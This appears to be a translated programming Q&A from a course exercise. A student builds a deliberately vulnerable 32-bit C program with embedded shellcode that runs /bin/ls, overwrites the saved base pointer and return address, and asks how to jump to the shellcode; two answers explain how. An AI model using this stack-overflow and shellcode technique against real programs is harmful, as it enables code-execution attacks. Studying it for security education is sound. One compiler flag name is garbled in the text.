缓冲区溢出:执行加载到内存中的char数组

时间:2013-11-18 13:19:34

标签: c linux assembly x86 buffer-overflow

我是一名道德黑客学生,并将此作为练习。我已经坚持了两天了。

我们正在编写一个特意容易受到“缓冲区溢出”的程序。

#include <stdio.h>

void badf(int n, char c, char* buffer)
{

    char mycode[] = {
0xeb, 0x0f, 0xb8, 0x0b,
0x00, 0x00, 0x00, 0x8b,
0x1c, 0x24, 0x8d, 0x0c,
0x24, 0x31, 0xd2, 0xcd,
0x80, 0xe8, 0xec, 0xff, 
0xff, 0xff, 0x2f, 0x62,
0x69, 0x6e, 0x2f, 0x6c, 
0x73, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00
}; // 37 bytes

    int i;
    // Copy mycode array into buffer array
    for (i=0; i<n; i++)
    {
    buffer[i]=mycode[i];
    }

    // Overwrite Base Pointer
        buffer[37] = 0x00;
    buffer[38] = 0x00;
    buffer[39] = 0x00;
    buffer[40] = 0x00;
    // Overwrite Instruction Pointer
    buffer[41] = 0x90;
    buffer[42] = 0x83;
    buffer[43] = 0x04;
    buffer[44] = 0x08;
}

void f(int n, char c)
{
    char buffer[37];    

    badf(n,c,buffer);
}

void test()
{
    printf("test\n");
}

int main()
{
    f(37,0x00);
    return 0;
}

mycode数组包含“恶意”机器代码(它实际上仅使用execv调用/bin/ls)。 badf是“易受攻击”的功能。目前你可以看到我用0x00s覆盖Base Base,而Instuction Pointer用0x08048390覆盖,这是test()函数的地址。这样,“测试”将打印到终端。

现在我的下一个练习是“使用 ddd 查找代码数组的地址,并修改C以在指令指针上写入此地址,就像在上一步中所做的那样。” / p>

我不明白,我是如何使用 ddd 来查找我的代码数组的地址。我可以很容易地找到数组移动到BP的地址:

   0x08048260 <badf+12>:        movb   $0xeb,-0x29(%ebp)
   0x08048264 <badf+16>:        movb   $0xf,-0x28(%ebp)
   0x08048268 <badf+20>:        movb   $0xb8,-0x27(%ebp)
.....

或者将其复制到缓冲区数组中的位置:

   0x080482f4 <badf+160>:       movl   $0x0,-0x4(%ebp)
   0x080482fb <badf+167>:       jmp    0x8048316 <badf+194>
   0x080482fd <badf+169>:       mov    -0x4(%ebp),%edx
   0x08048300 <badf+172>:       mov    0x10(%ebp),%eax
.....

但当然这不是我们想要的。

如何通过以这种方式将缓冲区数组写入缓冲区数组中来执行已加载的机器代码的指令指针地址?

编辑: ddd 是我们正在使用的调试器,同时请注意我们正在使用32位Linux。代码使用-fno-stack-operator标志进行编译,禁止编译器自动检查缓冲区溢出。

2 个答案:

答案 0 :(得分:0)

由于您将myCode复制到缓冲区中,因此您只需使用buffer本身:

假设有一台小端机:

// Overwrite Instruction Pointer
buffer[41] = (char)(((uintptr_t)buffer) >> 0);
buffer[42] = (char)(((uintptr_t)buffer) >> 8);
buffer[43] = (char)(((uintptr_t)buffer) >> 16);
buffer[44] = (char)(((uintptr_t)buffer) >> 24);

答案 1 :(得分:0)

我不知道如何使用ddd,但您可以使用如下的print语句修改badf以打印mycode地址:

printf("mycode address: %p", (void *) mycode);

查看打印内容,然后将其写入指令指针